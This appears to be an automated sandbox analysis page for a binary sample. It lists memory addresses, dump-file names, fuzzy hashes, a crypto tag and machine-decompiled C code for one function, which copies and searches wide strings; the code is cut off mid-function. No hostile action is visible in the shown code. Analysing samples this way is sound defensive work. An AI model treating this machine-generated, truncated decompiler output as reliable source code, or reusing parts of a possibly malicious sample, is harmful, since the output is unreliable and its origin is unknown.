0x00000000
0x00000000
0x00000000
0x6ed58f19
0x6ed58f19
0x6ed58f1b
0x6ed59229
0x6ed5922e
0x00000000
0x00000000
0x00000000
0x00000000
0x6ed58f21
0x6ed58f21
0x6ed58f23
0x6ed58f26
0x6ed58f2b
0x6ed58f34
0x6ed58f34
0x6ed58f50
0x6ed58f5a
0x6ed58f5d
0x6ed58f5d
0x6ed58f62
0x6ed58f6a
0x6ed58f6a
0x6ed58f6a
0x6ed58f6b
0x6ed58f75
0x6ed58f7f
0x6ed58f83
0x6ed58f84
0x6ed58f88
0x6ed58f8d
0x6ed58f91
0x6ed58f93
0x6ed58f96
0x6ed58f98
0x6ed58fea
0x6ed58fec
0x6ed58f9a
0x6ed58f9a
0x6ed58f9c
0x6ed58f9e
0x6ed58fa1
0x6ed58fa4
0x6ed58fa6
0x6ed58fa8
0x6ed58fac
0x6ed58fac
0x6ed58fae
0x6ed58fae
0x6ed58faf
0x6ed58fb4
0x6ed58fb9
0x6ed58fbb
0x00000000
0x00000000
0x6ed58fbd
0x6ed58fc1
0x6ed58fc5
0x6ed58fc7
0x00000000
0x00000000
0x00000000
0x6ed58fc7
0x6ed58fc9
0x6ed58fc9
0x6ed58fa6
0x6ed58fcd
0x6ed58fcf
0x6ed58fd0
0x6ed58fd4
0x6ed58fd8
0x6ed58fdd
0x6ed58fe1
0x6ed58fe5
0x6ed58fe5
0x6ed58fef
0x6ed58ff1
0x6ed58ff1
0x6ed58ff3
0x6ed58ff5
0x6ed59234
0x6ed59238
0x6ed59239
0x6ed5923b
0x6ed5924a
0x6ed5924f
0x6ed59251
0x00000000
0x6ed5923d
0x6ed59241
0x6ed59243
0x00000000
0x6ed59245
0x00000000
0x6ed59245
0x00000000
0x6ed59243
0x6ed58ffb
0x6ed58ffb
0x00000000
0x6ed58ffb
0x6ed58f2d
0x6ed58f2d
0x6ed58ffe
0x6ed58ffe
0x6ed59000
0x6ed59002
0x6ed59006
0x6ed59006
0x6ed59008
0x6ed5900c
0x6ed5900c
0x6ed5900d
0x6ed59014
0x6ed59017
0x6ed59019
0x00000000
0x00000000
0x6ed5901e
0x6ed59020
0x6ed59022
0x00000000
0x00000000
0x00000000
0x6ed59022
0x6ed59024
0x6ed59028
0x6ed59028
0x6ed5902c
0x6ed5902e
0x6ed59030
0x6ed59039
0x00000000
0x00000000
0x6ed59032
0x6ed59032
0x6ed5903b
0x6ed5903b
0x6ed59043
0x6ed59047
0x6ed5904b
0x6ed5904f
0x6ed5904f
0x6ed59053
0x6ed59057
0x6ed59059
0x00000000
0x00000000
0x6ed5905b
0x6ed5905b
0x6ed5905f
0x6ed59060
0x6ed59062
0x00000000
0x00000000
0x00000000
0x6ed59062
0x6ed59064
0x6ed59068
0x6ed59068
0x6ed5906c
0x6ed5906e
0x6ed5906f
0x6ed59076
0x6ed59078
0x6ed591d6
0x6ed591d6
0x6ed591db
0x6ed591dd
0x6ed58c3b
0x6ed58c3b
0x6ed58c3e
0x6ed58c40
0x6ed58d95
0x6ed58d95
0x6ed58d9f
0x6ed58da1
0x6ed58da7
0x6ed58da9
0x6ed58dab
0x6ed58de5
0x6ed58de7
0x6ed58dad
0x6ed58dad
0x6ed58daf
0x6ed58db1
0x6ed58db4
0x6ed58db7
0x6ed58db9
0x6ed58dbb
0x6ed58dbb
0x6ed58dbd
0x6ed58dbd
0x6ed58dbe
0x6ed58dc3
0x6ed58dc8
0x6ed58dca
0x00000000
0x00000000
0x6ed58dcc
0x6ed58dd0
0x6ed58dd4
0x6ed58dd6
0x00000000
0x00000000
0x00000000
0x6ed58dd6
0x6ed58dbd
0x6ed58db9
0x6ed58dd8
0x6ed58dd8
0x6ed58dda
0x6ed58ddb
0x6ed58de0
0x6ed58de0
0x6ed58dea
0x6ed58ded
0x6ed58def
0x6ed58c46
0x6ed58c48
0x6ed58c48
0x6ed58c4b
0x6ed58c68
0x6ed58c6c
0x6ed58c78
0x6ed58c78
0x6ed58c7e
0x6ed58c7e
0x6ed58c83
0x6ed58c87
0x6ed58c8b
0x6ed58c8d
0x00000000
0x00000000
0x6ed58c93
0x6ed58c96
0x6ed58c98
0x00000000
0x6ed58c9a
0x6ed58c9a
0x6ed58ca0
0x00000000
0x00000000
0x00000000
0x00000000
0x6ed58ca0
0x00000000
0x6ed58c98
0x6ed59214
0x6ed59219
0x6ed58c4d
0x6ed58c4d
0x6ed58c4f
0x6ed58c52
0x6ed58ca2
0x6ed58ca2
0x6ed58ca6
0x6ed58ca8
0x00000000
0x00000000
0x6ed58caa
0x6ed58cab
0x6ed58cb1
0x00000000
0x6ed58cb3
0x6ed58cb3
0x6ed58cb3
0x6ed58cb3
0x00000000
0x6ed58cb1
0x6ed58c54
0x6ed58c59
0x6ed58c59
0x6ed58c5b
0x6ed58c5b
0x6ed58c5f
0x6ed58c61
0x00000000
0x00000000
0x6ed58c63
0x6ed58c64
0x6ed58c66
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6ed58c66
0x6ed58c5b
0x6ed58c52
0x6ed58cb8
0x6ed58cbd
0x6ed58cbd
0x6ed58cc0
0x6ed58cc3
0x6ed58cc6
0x6ed58cc8
0x6ed58cdb
0x6ed58cde
0x6ed58cde
0x6ed58ce4
0x6ed58cec
0x6ed58cec
0x6ed58cec
0x6ed58ced
0x6ed58cf7
0x6ed58cfe
0x6ed58cff
0x6ed58d02
0x6ed58d07
0x6ed58d0d
0x6ed58d0f
0x6ed58d11
0x6ed58d5b
0x6ed58d5d
0x6ed58d13
0x6ed58d13
0x6ed58d15
0x6ed58d17
0x6ed58d1a
0x6ed58d1d
0x6ed58d1f
0x6ed58d21
0x6ed58d25
0x6ed58d25
0x6ed58d27
0x6ed58d27
0x6ed58d28
0x6ed58d2d
0x6ed58d32
0x6ed58d34
0x00000000
0x00000000
0x6ed58d36
0x6ed58d3a
0x6ed58d3e
0x6ed58d40
0x00000000
0x00000000
0x00000000
0x6ed58d40
0x6ed58d42
0x6ed58d42
0x6ed58d1f
0x6ed58d46
0x6ed58d48
0x6ed58d49
0x6ed58d4d
0x6ed58d52
0x6ed58d56
0x6ed58d56
0x6ed58d60
0x6ed58d63
0x6ed58d66
0x6ed58cca
0x6ed58cca
0x6ed58cca
0x6ed58d68
0x6ed58d6a
0x6ed58d6c
0x6ed58d72
0x6ed58d7c
0x6ed58d7c
0x6ed58d7f
0x6ed58d80
0x6ed58d83
0x6ed58d85
0x00000000
0x00000000
0x6ed58d87
0x6ed58d89
0x6ed5920b
0x00000000
0x00000000
0x00000000
0x00000000
0x6ed58d8f
0x6ed58d8f
0x6ed58d91
0x6ed58d76
0x6ed58d79
0x6ed58d79
0x00000000
0x6ed58d79
0x00000000
0x6ed58d91
0x6ed58d7c
0x6ed58d6c
0x6ed5907e
0x6ed59082
0x6ed59084
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6ed59084
0x6ed59078
0x6ed58f2b
0x6ed58f1b
0x6ed58f17
0x6ed58c1c
0x6ed58c1c
0x6ed58c1c
0x6ed58c20
0x00000000
0x6ed58c20
0x00000000
0x6ed58c16
0x6ed5929a
0x6ed5929c
0x00000000
0x6ed5929c
0x00000000
0x6ed58c24
0x6ed58c24
0x6ed58c25
0x6ed58c25
0x00000000
0x6ed58be4
0x6ed58b19
0x6ed58b12
0x6ed58a8b
0x6ed58df6
0x6ed58df6
0x6ed58df8
0x6ed58df9
0x6ed58e0a
0x6ed58a04
0x6ed58a04
0x6ed58a07
0x6ed58a09
0x6ed58a0e
0x6ed58a10
0x6ed58a18
0x6ed58a1a
0x6ed58a20
0x6ed58a24
0x6ed58a5c
0x6ed58a26
0x6ed58a28
0x6ed58a2a
0x6ed58a2d
0x6ed58a32
0x6ed58a34
0x6ed58a34
0x6ed58a35
0x6ed58a3a
0x6ed58a41
0x00000000
0x00000000
0x6ed58a43
0x6ed58a47
0x6ed58a4d
0x00000000
0x00000000
0x00000000
0x6ed58a4d
0x6ed58a34
0x6ed58a32
0x6ed58a4f
0x6ed58a4f
0x6ed58a51
0x6ed58a52
0x6ed58a57
0x6ed58a57
0x6ed58a5f
0x6ed58a62
0x6ed58a69
0x6ed58a74
0x6ed58a74
0x00000000

Strings

@, xrefs: 6ED59229

Memory Dump Source

Source File: 00000000.00000002.791906460.000000006ED31000.00000020.00020000.sdmp, Offset: 6ED30000, based on PE: true

Associated: 00000000.00000002.791898803.000000006ED30000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.791929720.000000006ED65000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.791939935.000000006ED6B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.791948148.000000006ED6C000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: 890d090df5082a30348e5f74619d74015760cc1c72b8607f5a6b626b3c49c3ad
Instruction ID: 8969a47d6560c041cde4ede214a82ad1b11b219e20b0b89034ba9f7e96970ae7
Opcode Fuzzy Hash: 890d090df5082a30348e5f74619d74015760cc1c72b8607f5a6b626b3c49c3ad
Instruction Fuzzy Hash: 2B4217B5A24713CBDF548FA9C85022A73E2AFD5350B148A3DE8B5CB394EB35C861C791

Uniqueness

Uniqueness Score: -1.00%

Function 6ED4AE80, Relevance: 2.0, Strings: 1, Instructions: 719
COMMONCrypto

Download Yara Rule

C-Code - Quality: 93%

			E6ED4AE80(intOrPtr* __ecx, void* __eflags, signed int* _a4, signed int _a8) {
				signed int _v24;
				signed int _v28;
				unsigned int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				signed int _v60;
				signed int _v64;
				signed int _v68;
				void* __esi;
				signed short* _t229;
				unsigned int _t237;
				signed int _t238;
				signed short** _t243;
				signed short* _t244;
				signed short* _t248;
				signed int* _t250;
				signed int _t255;
				signed int _t259;
				signed int _t264;
				signed int _t268;
				signed int _t271;
				unsigned int _t277;
				signed int _t278;
				void* _t284;
				signed int _t287;
				signed int _t288;
				signed int _t291;
				signed short* _t298;
				signed int _t301;
				signed int _t306;
				signed int _t307;
				signed int _t309;
				signed int _t316;
				signed int _t317;
				signed int _t319;
				signed int _t325;
				signed int _t326;
				signed int _t327;
				signed short* _t334;
				signed int _t336;
				signed int _t337;
				signed int _t339;
				signed int _t346;
				signed int _t349;
				signed int _t350;
				signed int _t352;
				signed int _t353;
				signed int _t355;
				signed int _t356;
				signed int _t359;
				signed int _t360;
				signed int _t363;
				signed int _t364;
				signed int _t365;
				signed int _t366;
				signed int _t368;
				signed int _t374;
				signed int _t377;
				signed int _t381;
				signed int _t382;
				signed int _t383;
				signed int _t384;
				void* _t385;
				signed int _t386;
				signed int _t387;
				signed int _t390;
				intOrPtr* _t392;
				signed int _t393;
				signed int _t394;
				intOrPtr* _t396;
				signed int _t397;
				signed int _t398;
				signed int _t400;
				signed int _t401;
				signed int _t402;
				intOrPtr* _t403;
				signed int _t404;
				signed int _t405;
				void* _t406;
				signed int _t407;
				signed int _t408;
				signed short* _t411;
				signed int* _t412;
				signed int _t413;
				signed int _t417;
				intOrPtr* _t426;
				signed int _t427;
				signed int _t428;
				signed int _t429;
				signed int _t432;
				signed int _t433;
				signed int _t434;
				signed int _t441;
				signed int _t443;
				signed int _t448;
				signed int _t449;
				signed int _t452;
				signed int _t455;
				intOrPtr* _t458;
				signed int _t460;
				signed int _t462;
				signed int _t463;
				signed int _t464;
				unsigned int _t465;
				unsigned int _t466;
				signed int _t467;
				unsigned int _t470;
				signed int _t474;
				signed int _t475;
				signed int _t476;
				signed int _t477;
				signed int _t478;
				void* _t481;

				_v64 = 0;
				_t458 = __ecx;
				_v60 = 0;
				_push(0x80);
				_t441 = E6ED41030();
				_t481 = (_t478 & 0xfffffff0) - 0x34 + 4;
				_t229 = _v64;
				if(_t229 == 0) {
					__eflags = 0;
					 *_t441 = 0;
				} else {
					if(_t441 != 0) {
						_t384 =  *_t229 & 0x0000ffff;
						 *_t441 = _t384;
						if(_t384 != 0) {
							while(1) {
								_t384 = 1;
								_t382 = _t229[1] & 0x0000ffff;
								 *(_t441 + 2) = _t382;
								if(_t382 == 0) {
									goto L6;
								}
								_t383 = _t229[2] & 0x0000ffff;
								 *(_t441 + 4) = _t383;
								if(_t383 != 0) {
									continue;
								}
								goto L6;
							}
						}
					}
					L6:
					_push(2);
					_push(_t229);
					E6ED410B0();
					_t481 = _t481 + 8;
				}
				_v60 = 0x40;
				_v64 = _t441;
				if((_a8 & 0x0000ffff) != 0) {
					__eflags = _t441;
					if(_t441 == 0) {
						_t349 = 0x40;
						_t316 = 0;
					} else {
						_t309 = _t441 & 0x0000000f;
						__eflags = _t309;
						if(_t309 == 0) {
							L16:
							asm("pxor xmm0, xmm0");
							_t346 =  ~( ~_t309 + 0x00000007 & 0x00000007) + 0x7fffffff;
							__eflags = _t346;
							while(1) {
								asm("movdqu xmm1, [edi+eax*2]");
								asm("pcmpeqw xmm1, xmm0");
								asm("pmovmskb edx, xmm1");
								__eflags = _t384;
								if(_t384 != 0) {
									break;
								}
								_t309 = _t309 + 8;
								__eflags = _t309 - _t346;
								if(_t309 < _t346) {
									continue;
								} else {
									__eflags = _t346 - 0x7fffffff;
									if(_t346 >= 0x7fffffff) {
										goto L22;
									} else {
										goto L20;
									}
								}
								goto L23;
							}
							asm("bsf ebx, edx");
							_t316 = (_t346 >> 1) + _t309;
							goto L126;
						} else {
							_t346 = 0;
							__eflags = _t309 & 0x00000001;
							if((_t309 & 0x00000001) != 0) {
								while(1) {
									L20:
									__eflags =  *(_t441 + _t346 * 2) & 0x0000ffff;
									if(( *(_t441 + _t346 * 2) & 0x0000ffff) == 0) {
										goto L126;
									}
									_t346 = _t346 + 1;
									__eflags = _t346 - 0x7fffffff;
									if(_t346 < 0x7fffffff) {
										continue;
									} else {
										L22:
										_t349 = 0x40;
										_t316 = 0x7fffffff;
									}
									goto L23;
								}
								goto L126;
							} else {
								_t309 =  ~_t309 + 0x10 >> 1;
								__eflags = _t309;
								while(1) {
									_t384 =  *(_t441 + _t346 * 2) & 0x0000ffff;
									__eflags = _t384;
									if(_t384 == 0) {
										break;
									}
									_t346 = _t346 + 1;
									__eflags = _t346 - _t309;
									if(_t346 < _t309) {
										continue;
									} else {
										goto L16;
									}
									goto L23;
								}
								L126:
								__eflags = _t316 - 0xfffffffe;
								if(_t316 != 0xfffffffe) {
									_t349 = 0x40;
								} else {
									 *_t441 = 0;
									_t349 = _v60;
								}
							}
						}
					}
					L23:
					_t24 = _t316 + 2; // 0x2
					_t385 = _t24;
					__eflags = _t385 - 0x40;
					_t386 =  <=  ? 0x40 : _t385;
					__eflags = _t349 - _t386;
					if(_t349 < _t386) {
						_t237 = (_t386 >> 5 >> 0x1a) + _t386 >> 6;
						_t387 = _t386 & 0x8000003f;
						__eflags = _t387;
						if(_t387 < 0) {
							_t387 = (_t387 - 0x00000001 | 0xffffffc0) + 1;
							__eflags = _t387;
						}
						__eflags = _t387;
						_t238 = _t237 + (0 | _t387 > 0x00000000);
						_push(_t238 << 7);
						_t443 = _t238 << 6;
						_t390 = E6ED41030();
						_t481 = _t481 + 4;
						_t350 = _v64;
						__eflags = _t350;
						if(_t350 == 0) {
							__eflags = 0;
							 *_t390 = 0;
						} else {
							__eflags = _t390;
							if(_t390 != 0) {
								_t306 =  *_t350 & 0x0000ffff;
								 *_t390 = _t306;
								__eflags = _t306;
								if(_t306 != 0) {
									_v68 = _t458;
									_t307 = 0;
									__eflags = 0;
									while(1) {
										_t307 = _t307 + 1;
										_t476 =  *(_t350 + _t307 * 4 - 2) & 0x0000ffff;
										 *(_t390 + _t307 * 4 - 2) = _t476;
										__eflags = _t476;
										if(_t476 == 0) {
											break;
										}
										_t477 =  *(_t350 + _t307 * 4) & 0x0000ffff;
										 *(_t390 + _t307 * 4) = _t477;
										__eflags = _t477;
										if(_t477 != 0) {
											continue;
										}
										break;
									}
									_t458 = _v68;
								}
							}
							_push(2);
							_push(_t350);
							_v68 = _t390;
							E6ED410B0();
							_t390 = _v68;
							_t481 = _t481 + 8;
						}
						_v60 = _t443;
						_v64 = _t390;
					} else {
						_t390 = _v64;
					}
					 *((short*)(_t390 + _t316 * 2)) = _a8 & 0x0000ffff;
					__eflags = 0;
					_t243 =  &_v64;
					 *((short*)(_v64 + 2 + _t316 * 2)) = 0;
				} else {
					_t243 =  &_v64;
				}
				_t244 =  *_t243;
				_v28 = _t244;
				if(_t244 == 0) {
					L40:
					_t392 = _a4;
					_push(0x80);
					 *_t392 = 0;
					 *((intOrPtr*)(_t392 + 4)) = 0;
					_t317 = E6ED41030();
					_t481 = _t481 + 4;
					_t248 =  *_a4;
					if(_t248 == 0) {
						 *_t317 = 0;
					} else {
						if(_t317 != 0) {
							_t393 =  *_t248 & 0x0000ffff;
							 *_t317 = _t393;
							if(_t393 != 0) {
								_t394 = 0;
								while(1) {
									_t394 = _t394 + 1;
									_t352 =  *(_t248 + _t394 * 4 - 2) & 0x0000ffff;
									 *(_t317 + _t394 * 4 - 2) = _t352;
									if(_t352 == 0) {
										goto L46;
									}
									_t353 =  *(_t248 + _t394 * 4) & 0x0000ffff;
									 *(_t317 + _t394 * 4) = _t353;
									if(_t353 != 0) {
										continue;
									}
									goto L46;
								}
							}
						}
						L46:
						_push(2);
						_push(_t248);
						E6ED410B0();
						_t481 = _t481 + 8;
					}
					goto L124;
				} else {
					_t319 =  *_t244 & 0x0000ffff;
					if(_t319 != 0) {
						_t460 =  *_t458;
						_t255 = E6ED4FB60(_t460, _t244, _t460);
						__eflags = _t255;
						if(_t255 == 0) {
							_t396 = _a4;
							_push(0x80);
							 *_t396 = 0;
							 *((intOrPtr*)(_t396 + 4)) = 0;
							_t317 = E6ED41030();
							_t481 = _t481 + 4;
							_t259 =  *_a4;
							__eflags = _t259;
							if(_t259 == 0) {
								 *_t317 = 0;
							} else {
								__eflags = _t317;
								if(_t317 != 0) {
									_t397 =  *_t259 & 0x0000ffff;
									 *_t317 = _t397;
									__eflags = _t397;
									if(_t397 != 0) {
										_t398 = 0;
										__eflags = 0;
										while(1) {
											_t398 = _t398 + 1;
											_t355 =  *(_t259 + _t398 * 4 - 2) & 0x0000ffff;
											 *(_t317 + _t398 * 4 - 2) = _t355;
											__eflags = _t355;
											if(_t355 == 0) {
												goto L176;
											}
											_t356 =  *(_t259 + _t398 * 4) & 0x0000ffff;
											 *(_t317 + _t398 * 4) = _t356;
											__eflags = _t356;
											if(_t356 != 0) {
												continue;
											}
											goto L176;
										}
									}
								}
								L176:
								_push(2);
								_push(_t259);
								E6ED410B0();
								_t481 = _t481 + 8;
							}
							goto L124;
						} else {
							_t66 = _t319 - 0x41; // 0x7fffffbe
							__eflags = _t66 - 0x19;
							_t67 = _t319 + 0x20; // 0x8000001f
							_v40 = _t460;
							_t320 =  <=  ? _t67 : _t319;
							_t400 = _v28 & 0x0000000f;
							_t358 = ( <=  ? _t67 : _t319) & 0x0000ffff;
							asm("pxor xmm0, xmm0");
							_v36 =  ~_t400 + 0x10 >> 1;
							_v32 = _t400 & 0x00000001;
							_t448 = 0;
							__eflags = 0;
							_v44 = ( <=  ? _t67 : _t319) & 0x0000ffff;
							while(1) {
								L50:
								_t325 = _t255;
								_t462 = _t255 + 2;
								__eflags = _t462;
								if(_t462 == 0) {
									break;
								}
								__eflags =  *(_t255 + 2) & 0x0000ffff;
								if(( *(_t255 + 2) & 0x0000ffff) == 0) {
									break;
								} else {
									_v52 = _t400;
									_t368 = _t448;
									_v68 = _t325;
									while(1) {
										_t368 = _t368 + 1;
										_t334 = _t255 + _t368 * 2;
										_t429 =  *_t334 & 0x0000ffff;
										__eflags = ( *(_t462 + _t368 * 2 - 2) & 0x0000ffff) + 0xffffffbf - 0x19;
										_v48 = _t334;
										_t448 = _v44;
										_t430 =  <=  ? _t429 + 0x20 : _t429;
										__eflags = ( <=  ? _t429 + 0x20 : _t429) - _t448;
										if(( <=  ? _t429 + 0x20 : _t429) == _t448) {
											break;
										}
										__eflags =  *(_t462 + _t368 * 2) & 0x0000ffff;
										if(( *(_t462 + _t368 * 2) & 0x0000ffff) != 0) {
											continue;
										} else {
											L55:
											_t325 = _v68;
											_t463 = _v40;
										}
										goto L56;
									}
									_t400 = _v52;
									_t301 = _v48;
									_t452 = _v36;
									_t465 = _v32;
									while(1) {
										_t336 = _t400;
										__eflags = _t400;
										if(_t400 == 0) {
											goto L141;
										}
										L136:
										_t377 = 0;
										__eflags = _t465;
										if(_t465 != 0) {
											L145:
											_v32 = _t465;
											_t474 = _v28;
											while(1) {
												__eflags =  *(_t474 + _t377 * 2) & 0x0000ffff;
												if(( *(_t474 + _t377 * 2) & 0x0000ffff) == 0) {
													break;
												}
												_t377 = _t377 + 1;
												__eflags = _t377 - 0x7fffffff;
												if(_t377 < 0x7fffffff) {
													continue;
												} else {
													_t466 = _v32;
													goto L149;
												}
												goto L180;
											}
											_t466 = _v32;
											goto L159;
										} else {
											_v32 = _t465;
											_t336 = _t452;
											_v24 = _t301;
											_t475 = _v28;
											while(1) {
												__eflags =  *(_t475 + _t377 * 2) & 0x0000ffff;
												if(( *(_t475 + _t377 * 2) & 0x0000ffff) == 0) {
													break;
												}
												_t377 = _t377 + 1;
												__eflags = _t377 - _t452;
												if(_t377 < _t452) {
													continue;
												} else {
													_t301 = _v24;
													_t465 = _v32;
													goto L141;
												}
												goto L180;
											}
											_t301 = _v24;
											_t466 = _v32;
											L159:
											__eflags = _t377;
											if(__eflags == 0) {
												L149:
												_t377 = 0x7fffffff;
												goto L150;
											} else {
												if(__eflags > 0) {
													L150:
													_v56 = _t377;
													_t337 = 0;
													__eflags = 0;
													_v52 = _t400;
													_v36 = _t452;
													_v32 = _t466;
													while(1) {
														_t467 =  *(_t301 + _t337 * 2) & 0x0000ffff;
														_t455 =  *(_v28 + _t337 * 2) & 0x0000ffff;
														__eflags = _t467 - 0x61 - 0x19;
														_t468 =  <=  ? _t467 - 0x20 : _t467;
														_t432 = ( <=  ? _t467 - 0x20 : _t467) & 0x0000ffff;
														__eflags = _t455 - 0x61 - 0x19;
														_t456 =  <=  ? _t455 - 0x20 : _t455;
														__eflags = _t432 - ( <=  ? _t455 - 0x20 : _t455);
														if(__eflags < 0 || __eflags > 0) {
															break;
														}
														__eflags = _t432;
														if(_t432 == 0) {
															L155:
															_t400 = _v52;
															_t448 = 0;
															__eflags = 0;
															_t325 = _v68;
															goto L156;
														} else {
															_t337 = _t337 + 1;
															__eflags = _t337 - _v56;
															if(_t337 < _v56) {
																continue;
															} else {
																goto L155;
															}
														}
														goto L180;
													}
													_t433 = _v52;
													_t448 = _v36;
													_t470 = _v32;
													_t339 = _t301 + 2;
													__eflags = _t339;
													if(_t339 == 0) {
														goto L55;
													} else {
														__eflags =  *(_t301 + 2) & 0x0000ffff;
														if(( *(_t301 + 2) & 0x0000ffff) == 0) {
															goto L55;
														} else {
															_v52 = _t433;
															_t381 = 0;
															__eflags = 0;
															_v24 = _t301;
															_v36 = _t448;
															_v32 = _t470;
															while(1) {
																_t381 = _t381 + 1;
																_t301 = _v24 + _t381 * 2;
																_t434 =  *_t301 & 0x0000ffff;
																__eflags = ( *(_t339 + _t381 * 2 - 2) & 0x0000ffff) + 0xffffffbf - 0x19;
																_t448 = _t434 + 0x20;
																_t435 =  <=  ? _t448 : _t434;
																__eflags = ( <=  ? _t448 : _t434) - _v44;
																if(( <=  ? _t448 : _t434) == _v44) {
																	break;
																}
																__eflags =  *(_t339 + _t381 * 2) & 0x0000ffff;
																if(( *(_t339 + _t381 * 2) & 0x0000ffff) != 0) {
																	continue;
																} else {
																	goto L55;
																}
																goto L180;
															}
															_t400 = _v52;
															_t452 = _v36;
															_t465 = _v32;
															_t336 = _t400;
															__eflags = _t400;
															if(_t400 == 0) {
																goto L141;
															}
														}
													}
												} else {
													_v36 = _t452;
													_t448 = 0;
													_v32 = _t466;
													_t325 = _v68;
													L156:
													__eflags = _t301;
													if(_t301 != 0) {
														goto L50;
													} else {
														goto L157;
													}
												}
											}
										}
										L180:
										L141:
										_v36 = _t452;
										_t374 =  ~( ~_t336 + 0x00000007 & 0x00000007) + 0x7fffffff;
										__eflags = _t374;
										_v32 = _t465;
										while(1) {
											asm("movdqu xmm1, [edi+ebx*2]");
											asm("pcmpeqw xmm1, xmm0");
											asm("pmovmskb esi, xmm1");
											__eflags = _t465;
											if(_t465 != 0) {
												break;
											}
											_t336 = _t336 + 8;
											__eflags = _t336 - _t374;
											if(_t336 < _t374) {
												continue;
											} else {
												_t452 = _v36;
												_t466 = _v32;
												__eflags = _t374 - 0x7fffffff;
												if(_t374 >= 0x7fffffff) {
													goto L149;
												} else {
													goto L145;
												}
											}
											goto L180;
										}
										asm("bsf ecx, ecx");
										_t452 = _v36;
										_t377 = (_t465 >> 1) + _t336;
										_t466 = _v32;
										goto L159;
									}
								}
								L56:
								_t326 = _t325 - _t463;
								__eflags = _t326;
								_t327 = _t326 >> 1;
								if(_t326 != 0) {
									__eflags = _t463;
									if(_t463 == 0) {
										_t401 = 0;
									} else {
										_t291 = _t463 & 0x0000000f;
										__eflags = _t291;
										if(_t291 == 0) {
											L71:
											_t401 =  ~( ~_t291 + 0x00000007 & 0x00000007) + 0x7fffffff;
											__eflags = _t401;
											while(1) {
												asm("movdqu xmm1, [esi+eax*2]");
												asm("pcmpeqw xmm1, xmm0");
												asm("pmovmskb edi, xmm1");
												__eflags = _t448;
												if(_t448 != 0) {
													break;
												}
												_t291 = _t291 + 8;
												__eflags = _t291 - _t401;
												if(_t291 < _t401) {
													continue;
												} else {
													__eflags = _t401 - 0x7fffffff;
													if(_t401 >= 0x7fffffff) {
														goto L77;
													} else {
														goto L75;
													}
												}
												goto L78;
											}
											asm("bsf edx, edi");
											_t401 = (_t401 >> 1) + _t291;
										} else {
											_t401 = 0;
											__eflags = _t291 & 0x00000001;
											if((_t291 & 0x00000001) != 0) {
												while(1) {
													L75:
													__eflags =  *(_t463 + _t401 * 2) & 0x0000ffff;
													if(( *(_t463 + _t401 * 2) & 0x0000ffff) == 0) {
														goto L78;
													}
													_t401 = _t401 + 1;
													__eflags = _t401 - 0x7fffffff;
													if(_t401 < 0x7fffffff) {
														continue;
													} else {
														L77:
														_t401 = 0x7fffffff;
													}
													goto L78;
												}
											} else {
												_t291 =  ~_t291 + 0x10 >> 1;
												__eflags = _t291;
												while(1) {
													_t448 =  *(_t463 + _t401 * 2) & 0x0000ffff;
													__eflags = _t448;
													if(_t448 == 0) {
														goto L78;
													}
													_t401 = _t401 + 1;
													__eflags = _t401 - _t291;
													if(_t401 < _t291) {
														continue;
													} else {
														goto L71;
													}
													goto L78;
												}
											}
										}
									}
									L78:
									_t264 = _t401 >> 0x0000001f & _t401;
									_t402 = _t401 - _t264;
									__eflags = _t327;
									if(_t327 < 0) {
										L80:
										_t327 = _t402;
									} else {
										__eflags = _t327 - _t402;
										if(_t327 > _t402) {
											goto L80;
										}
									}
									_t403 = _a4;
									_t449 = _t463 + _t264 * 2;
									 *_t403 = 0;
									 *((intOrPtr*)(_t403 + 4)) = 0;
									__eflags = _t449;
									if(_t449 == 0) {
										L116:
										_push(0x80);
										_t317 = E6ED41030();
										_t481 = _t481 + 4;
										_t268 =  *_a4;
										__eflags = _t268;
										if(_t268 == 0) {
											__eflags = 0;
											 *_t317 = 0;
										} else {
											__eflags = _t317;
											if(_t317 != 0) {
												_t404 =  *_t268 & 0x0000ffff;
												 *_t317 = _t404;
												__eflags = _t404;
												if(_t404 != 0) {
													_t405 = 0;
													__eflags = 0;
													while(1) {
														_t405 = _t405 + 1;
														_t359 =  *(_t268 + _t405 * 4 - 2) & 0x0000ffff;
														 *(_t317 + _t405 * 4 - 2) = _t359;
														__eflags = _t359;
														if(_t359 == 0) {
															goto L122;
														}
														_t360 =  *(_t268 + _t405 * 4) & 0x0000ffff;
														 *(_t317 + _t405 * 4) = _t360;
														__eflags = _t360;
														if(_t360 != 0) {
															continue;
														}
														goto L122;
													}
												}
											}
											L122:
											_push(2);
											_push(_t268);
											E6ED410B0();
											_t481 = _t481 + 8;
										}
										goto L124;
									} else {
										_t271 =  *_t449 & 0x0000ffff;
										__eflags = _t271;
										if(_t271 == 0) {
											goto L116;
										} else {
											__eflags = _t327;
											if(_t327 == 0) {
												_t417 = _t449 & 0x0000000f;
												__eflags = _t417;
												if(_t417 == 0) {
													L89:
													_t327 =  ~( ~_t417 + 0x00000007 & 0x00000007) + 0x7fffffff;
													__eflags = _t327;
													while(1) {
														asm("movdqu xmm1, [edi+edx*2]");
														asm("pcmpeqw xmm1, xmm0");
														asm("pmovmskb eax, xmm1");
														__eflags = _t271;
														if(_t271 != 0) {
															break;
														}
														_t417 = _t417 + 8;
														__eflags = _t417 - _t327;
														if(_t417 < _t327) {
															continue;
														} else {
															__eflags = _t327 - 0x7fffffff;
															if(_t327 >= 0x7fffffff) {
																goto L95;
															} else {
																goto L93;
															}
														}
														goto L96;
													}
													asm("bsf ebx, eax");
													_t327 = (_t327 >> 1) + _t417;
												} else {
													_t327 = 0;
													__eflags = _t417 & 0x00000001;
													if((_t417 & 0x00000001) != 0) {
														while(1) {
															L93:
															__eflags =  *(_t449 + _t327 * 2) & 0x0000ffff;
															if(( *(_t449 + _t327 * 2) & 0x0000ffff) == 0) {
																goto L96;
															}
															_t327 = _t327 + 1;
															__eflags = _t327 - 0x7fffffff;
															if(_t327 < 0x7fffffff) {
																continue;
															} else {
																L95:
																_t327 = 0x7fffffff;
															}
															goto L96;
														}
													} else {
														_t417 =  ~_t417 + 0x10 >> 1;
														__eflags = _t417;
														while(1) {
															_t271 =  *(_t449 + _t327 * 2) & 0x0000ffff;
															__eflags = _t271;
															if(_t271 == 0) {
																goto L96;
															}
